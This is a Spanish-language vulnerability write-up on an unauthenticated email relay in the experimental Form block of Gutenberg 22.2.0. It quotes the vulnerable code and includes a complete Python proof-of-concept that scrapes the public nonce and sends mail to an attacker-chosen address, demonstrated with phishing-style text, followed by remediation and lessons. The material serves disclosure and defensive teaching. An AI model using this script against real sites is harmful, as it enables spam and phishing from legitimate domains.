Resumen
El plugin Gutenberg de WordPress, en su versión 22.2.0, incluye un bloque experimental de formulario (core/form) que puede enviar por correo lo que rellena el visitante. El problema estaba en cómo el servidor decidía a quién mandar ese correo: lo tomaba directamente del parámetro formAction que llega en la petición, sin ninguna validación.
A eso se sumaban dos detalles que lo hacían explotable por cualquiera:
- La acción AJAX
wp_block_form_email_submitestaba registrada también para usuarios no autenticados (wp_ajax_nopriv_*). - El nonce necesario para llamarla, la URL de
admin-ajax.phpy el nombre de la acción se publicaban en el HTML de cualquier página que tuviera el formulario.
Resultado: cualquier visitante anónimo podía usar el sitio WordPress como relay de correo hacia destinatarios arbitrarios. El investigador señala además que no había limitación de frecuencia ni verificación del remitente.
El registro de la acción en build/scripts/block-library/form.php (líneas 103-104):
add_action( 'wp_ajax_wp_block_form_email_submit', 'gutenberg_block_core_form_send_email' );
add_action( 'wp_ajax_nopriv_wp_block_form_email_submit', 'gutenberg_block_core_form_send_email' );
Y la parte del manejador gutenberg_block_core_form_send_email() que usa el destinatario del cliente tal cual (líneas 92-96):
$result = wp_mail(
str_replace( 'mailto:', '', $params['formAction'] ),
__( 'Form submission' ),
$content
);
Los datos que necesita el atacante los inyecta lib/experimental/blocks.php (líneas 129-131):
$data['nonce'] = wp_create_nonce( 'wp-block-form' );
$data['ajaxUrl'] = admin_url( 'admin-ajax.php' );
$data['action'] = 'wp_block_form_email_submit';
y acaban en la página así:
<script type="application/json" id="wp-script-module-data-@wordpress/block-library/form/view">
{"nonce":"abc123...","ajaxUrl":"http://site/wp-admin/admin-ajax.php","action":"wp_block_form_email_submit"}
</script>
Ficheros afectados según el reporte: packages/block-library/src/form/index.php (manejador del servidor) y lib/experimental/blocks.php (exposición del nonce).
Pasos de reproducción
Requisitos: WordPress con Gutenberg 22.2.0, el experimento de formularios activado, al menos una página pública con un bloque Form y Python 3.10 o superior con la librería requests (pip install requests).
- Para ver los correos en un entorno de pruebas, el investigador levanta MailHog:
docker run -d -p 1025:1025 -p 8025:8025 mailhog/mailhog
- En el escritorio de WordPress, ir a Gutenberg → Experiments, marcar "Blocks: add Form and input blocks" y pulsar "Save Changes".
- Solo para la demostración: instalar WP Mail SMTP y configurarlo con host
127.0.0.1, puerto1025y sin autenticación, para que todo el correo acabe en MailHog. - Guardar como
poc_form_relay.pyel script del investigador. Descarga como visitante anónimo la página con el formulario, extrae del bloque<script type="application/json">los valoresnonce,ajaxUrlyaction, y envía un POST aadmin-ajax.phpponiendo enformActionla dirección que elija el atacante:
"""
PoC: Unauthenticated email relay via Gutenberg Form block
Gutenberg plugin 22.2.0 - CVE-TBD
"""
import argparse
import json
import re
import sys
from urllib.parse import urljoin
import requests
SCRIPT_ID = "wp-script-module-data-@wordpress/block-library/form/view"
def extract_settings(html):
"""Extract nonce/action/ajaxUrl from the public script tag"""
match = re.search(
rf'id="{re.escape(SCRIPT_ID)}"\s*>\s*(?P<data>{{.*?}})\s*</script>',
html, re.S
)
if not match:
return None
try:
return json.loads(match.group("data"))
except json.JSONDecodeError:
return None
def parse_kv_pairs(pairs):
"""Parse key=value field arguments"""
parsed = {}
for item in pairs:
if "=" not in item:
raise ValueError(f"Invalid field '{item}', expected key=value")
key, value = item.split("=", 1)
parsed[key.strip()] = value
return parsed
def main():
parser = argparse.ArgumentParser(
description="Gutenberg Form unauthenticated mail relay PoC"
)
parser.add_argument("--page", required=True,
help="Page URL containing the Gutenberg form")
parser.add_argument("--to", required=True,
help="Target email address")
parser.add_argument("--field", action="append", default=[],
help="Field key=value (repeatable)")
parser.add_argument("--insecure", action="store_true",
help="Disable TLS verification")
args = parser.parse_args()
fields = parse_kv_pairs(args.field) if args.field else {"message": "Test"}
session = requests.Session()
print("[+] Fetching target page to extract credentials...")
resp = session.get(args.page, timeout=15, verify=not args.insecure)
if not resp.ok:
print(f"[!] Failed to fetch page: {resp.status_code}")
sys.exit(1)
settings = extract_settings(resp.text)
if not settings:
print("[!] Could not locate form settings in page HTML")
sys.exit(1)
ajax_url = urljoin(args.page, settings.get("ajaxUrl", ""))
print(f"[+] Extracted AJAX endpoint: {ajax_url}")
print(f"[+] Extracted nonce: {settings.get('nonce', 'N/A')}")
payload = {
"_ajax_nonce": settings.get("nonce", ""),
"action": settings.get("action", "wp_block_form_email_submit"),
"_wp_http_referer": args.page,
"formAction": f"mailto:{args.to}",
}
payload.update(fields)
print(f"[+] Sending malicious form submission to {args.to}...")
post_resp = session.post(ajax_url, data=payload, timeout=15,
verify=not args.insecure)
print(f"[+] Response Status: {post_resp.status_code}")
try:
result = post_resp.json()
print(f"[+] Response: {result}")
if result.get("success"):
print("[✓] Email successfully relayed!")
except ValueError:
print(f"[!] Response text: {post_resp.text[:500]}")
if __name__ == "__main__":
main()
- Ejecutarlo contra la página del formulario, indicando el destinatario y el contenido:
python3 poc_form_relay.py \
--page http://wordpress.local/contact-us/ \
--to [email protected] \
--field message="Urgent: Verify your account" \
--field subject="Security Alert"
- Si la respuesta JSON trae
success, el script indica que el correo se ha enviado a la dirección elegida, que en el entorno de pruebas se puede ver en MailHog.
Impacto
- Cualquiera, sin cuenta, puede hacer que el sitio envíe correos con el contenido que quiera a cualquier dirección.
- Eso sirve para campañas de spam y de phishing dirigido que salen desde una web legítima, lo que las hace más creíbles (en el ejemplo, un falso "Security Alert" que pide verificar la cuenta).
- La reputación de correo del sitio se resiente, según señala el investigador.
La vulnerabilidad solo afecta a sitios que hayan activado el experimento de formularios de Gutenberg y tengan un bloque Form publicado.
Remediación
El reporte figura como resuelto y con recompensa (importe no público), pero no detalla qué cambio se aplicó. Las medidas que propone el investigador son:
- Como mitigación inmediata, desactivar el experimento "Blocks: add Form and input blocks" y vigilar los registros de correo.
- No aceptar envíos anónimos (quitar el registro
nopriv). - Validar
formActionen el servidor contra una lista de destinatarios permitidos. - Añadir limitación por IP y CAPTCHA a los envíos.
- No publicar el nonce en la página, sino generarlo al cargar el formulario mediante un endpoint autenticado aparte.
Qué aprender de este caso
- Si un formulario manda correos, busca en la petición cualquier campo que contenga el destinatario (aquí
formActionconmailto:): si cambiarlo cambia a quién llega el correo, tienes un relay abierto. - El destinatario de un formulario de contacto debe leerse de la configuración guardada en el servidor (el propio bloque o un ajuste del sitio), nunca de lo que reenvía el navegador.
- En WordPress, revisa qué acciones se registran con
wp_ajax_nopriv_: son públicas. Un nonce impreso en una página pública no protege nada frente a visitantes anónimos, solo frente a CSRF. - Las funciones experimentales también llegan a sitios en producción cuando alguien las activa: merecen la misma revisión que el código estable.